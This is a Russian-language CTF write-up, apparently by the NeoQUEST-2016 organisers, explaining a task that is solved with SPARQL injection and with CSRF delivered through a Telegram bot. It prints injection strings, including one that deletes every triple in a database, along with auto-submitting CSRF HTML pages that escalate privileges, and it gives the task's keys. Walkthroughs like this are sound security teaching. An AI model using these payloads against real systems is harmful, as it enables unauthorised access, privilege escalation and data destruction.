Уже меньше месяца осталось до «очной ставки» NeoQUEST-2016. Она пройдет в Питере 7 июля, вход традиционно свободный, нужно лишь зарегистрироваться на сайте! Доклады, конкурсы, демонстрации атак, Twitter-викторина — все это (и не только!) ждет гостей мероприятия с 11:00 до 18:00 в КДЦ «Club House».
Тем временем подоспел разбор еще одного задания online-этапа NeoQUEST-2016, и в этот раз поговорим о SPARQL-инъекциях и о CSRF атаках через сообщения Telegram. Задание содержало в себе 3 разных ключа, один ключ получался с помощью SPARQL-инъекции в запросе ID пользователя, второй и третий ключи — с помощью инъекции и CSRF-атаки.
Исходные данные к заданию
Исходными данными для участников были URL сайта и ID бота для Telegram.
При первом посещении сайта пользователю предоставлялась возможность залогиниться/зарегистрироваться. После того, как участники зарегистрировались и залогинились на сайте, им открылся интерфейс небольшого чата, где была возможность отправки сообщений на общую доску. Также каждый участник видел свой ID и надпись «Private DB: no», из чего можно было сделать вывод, что доступа к приватной базе данных у них нет.
Большая часть участников сразу стремилась пообщаться с ботом для Telegram, но он оказался не особо разговорчивым парнем и чаще всего отвечал что-то вроде «Hi how are you?». Поэтому участники достаточно быстро оставляли его в покое и продолжали исследовать сайт.
Первый ключ: реализуем SPARQL-инъекцию
Если зайти на сайт и открыть вкладку «Network» в инструментах разработчика браузера, можно было увидеть следующее обращение на сервер:
Самый интересный запрос — это «get-id», получающий от сервера ID текущего пользователя. Логичным действием была попытка проверить параметры на инъекции. Если скопировать запрос в «cURL» (в контекстном меню Chrome «Copy as cURL») и запустить, получается такой результат:
Входные параметры запроса «type» и «user». А что, если подставить символ «‘» в поле «user»? Сервер вернул ошибку вида:
Lexical error at line 2, column 40. Encountered: <EOF> after : "\' :hasId ?id }"
Перебираем различные символы, и вот на запрос с символом «<» в конце имени пользователя получается такой ответ:
Encountered " "<" "< "" at line 2, column 26.
Was expecting one of:
"(" ...
"!" ...
"^" ...
"a" ...
<Q_IRI_REF> ...
<PNAME_NS> ...
<PNAME_LN> ...
<VAR1> ...
<VAR2> ...
Немного поискав по просторам Интернета, участники делали вывод о том, что на сервере используется база данных для хранения триплетов, а язык запросов к базе — не что иное, как SPARQL. Судя по ошибке, можно было понять, что параметр не фильтруется, а значит, можно провести SPARQL-инъекцию!
Подробнее о том, что такое SPARQL-инъекция, можно почитать здесь и тут. Суть ее в том, что в тело запроса из внешних данных, кроме необходимых (таких, как, например, id пользователя), может попасть код, дополняющий запрос. Простой пример SPARQL-запроса выглядит следующим образом:
select ?pass where {
<urn:user1> <urn:hasPassword> ?pass
}
Запрос означает следующее: выбрать пароль (?pass — переменная), где субъект (<urn:user1>) имеет пароль (предикат <urn:hasPassword>) ?pass. В ‘<>’ кавычках указывается полный URN субъекта и, как в данном примере, предиката. Если задавать префикс, то можно ссылаться на субъекты и объекты без угловых кавычек.
Итак, первое, что приходит в голову, анализируя лог ошибки «:hasId ?id }», это подставить вместо предиката «:hasId» переменную «?p», и закомментировать оставшуюся часть запроса:
tester ?p ?id }#
В результате такого запроса будет возвращено имя предиката: <httр://neobit.ru/neoquest#hasId>
Для получения следующего предиката из списка можно было использовать limit offset конструкцию:
tester ?p ?id } limit 1 offset 1#
Вот второй предикат: <httр://neobit.ru/neoquest#hasFirstKey>
И третий: <httр://neobit.ru/neoquest#hasPrivateDatabase>
Предикат hasFirstKey подсказывает, что это первый ключ к заданию. Значит, нужно получить его значение:
tester :hasFirstKey ?id }#
Возвращается значение «0356c848f23540060a84b453dd9cf0e4». Первый ключ добыт!
Второй ключ: реализуем CSRF с помощью посылки Telegram-сообщения
Чуть ниже формы отправки сообщений в чат находилась еще одна форма, предназначенная для отправки личных сообщений пользователю. Но, к сожалению участников NeoQUEST, поля этой формы были не активны. Также в чате была вкладка «Private Messages», внутри которой пусто. Очевидно, там должны были появляться сообщения, адресованные нашему пользователю.
Далее следовало найти код формы и попытаться отправить сообщение самому себе вручную, подставив в поле «To User» логин. Участники, отправляющие себе сообщение, получали в ответ сообщение об ошибке: «Only administrator can send private messages». Значит, приватные сообщения могут отправлять только пользователи, наделенные привилегиями. Тут-то сразу и вспоминался молчаливый бот: а может, он и есть пользователь с нужными нам привилегиями?
Путем проб и ошибок, участниками было обнаружено, что при отправке боту какой-нибудь ссылки, в ответ они получали «Your site is very interesting!», а значит, бот заходил на сайт, ссылка на который ему отправлялась.
Осталось попробовать использовать его привилегии для отправки личного сообщения, проведя так называемую «межсайтовую подделку запроса» или CSRF-атаку! Подробнее о CSRF — тут и там.
Для этого необходим любой бесплатный хостинг и страница с формой отправки. Страница для эксплуатации CSRF-уязвимости может выглядеть примерно следующим образом:
<html>
<body>
<iframe name="frame"></iframe>
<form method="post" action="http://213.170.91.84/users-db/send-message" target="frame" id="form">
<input type="hidden" name="title" value="CSRF" />
<input type="hidden" name="body" value="CSRF" />
<input type="hidden" name="user" value="tester" />
</form>
<script>document.getElementById('form').submit()</script>
</body>
</html>
А дальше — два простых шага: отправить ссылку на html-файл боту, зайти во вкладку «Private Messages» — и вот оно, пришедшее сообщение, в заголовке которого находится второй ключ «9235bfeeb0cf939f4cf5075c9c7e13f8»!
Третий ключ: реализация SPARQL через CSRF
Внимательные участники NeoQUEST быстренько вспоминали, что при получении первого ключа они видели в базе данных предикат <httр://neobit.ru/neoquest#hasPrivateDatabase>. Его значение было установлено в «0». А значит, можно попробовать при помощи SPARQL-инъекции установить значение в «1».
Основная форма отправки в общий чат уязвима, входные параметры не фильтруются. Сформируем запрос на удаление из базы всей информации, подставив запрос в тело сообщения:
n"};
delete {?s ?p ?o}
where {?s ?p ?o};
insert data {<http://n#n><http://n#n> "n
После успешного выполнения запроса общий чат сообщений должен очиститься, из базы только что были удалены все сообщения.
Из URL видно, что сообщения хранились в базе данных «messages-db» «http://213.170.91.84/messages-db/send-message», тогда как флаг «hasPrivateDatabase» хранился в базе «users-db» «http://213.170.91.84/users-db/get-id».
При получении второго ключа, для отправки сообщения от имени администратора использовалась CSRF через URL «http://213.170.91.84/users-db/send-message». Это как раз та база, в которой необходимо произвести изменения. Потренировавшись на базе «messages-db», участники стали пробовать произвести SPARQL-инъекцию через CSRF.
Такой запрос может выглядеть примерно следующим образом:
<html>
<body>
<iframe name="frame"></iframe>
<form method="post" action="http://213.170.84.29/users-db/send-message" target="frame" id="form">
<input type="hidden" name="title" value="CSRFCSRF" />
<input type='hidden' name='body' value='n"};delete data {:tester :hasPrivateDatabase 0};insert data {:tester :hasPrivateDatabase 1};insert data {<http://n#n><http://n#n> "n' />
<input type="hidden" name="user" value="tester" />
</form>
<script>document.getElementById('form').submit()</script>
</body>
</html>
Затем ссылка отправлялась боту. Если всё было сделано правильно, то после обновления главной страницы участники видели третий ключ «c69d16050cda975cd39de» и победную зеленую строчку «Private DB: yes»!
Кстати, один из наших участников опубликовал достаточно подробный write-up по прохождению этого задания, почитать можно тут.
В заключение…
Многие участники, привыкшие к традиционным SQL базам данных, испытали некоторое замешательство, столкнувшись с базой данных для хранения триплетов, обращение к которой требовало использования специального языка запросов SPARQL. Однако довольно быстро оказалось, что ничего сложного тут нет, и эксплуатация инъекций тут также пройдет на ура!
Впереди — остальные разборы заданий online-этапа NeoQUEST-2016, ну и, конечно же, сама «очная ставка», которая пройдет 7 июля в Санкт-Петербурге! В этом году гостей ждет обширная программа докладов и много конкурсов, в которых можно будет выиграть отличные призы! Регистрация открыта на сайте NeoQUEST, так что — вперёд!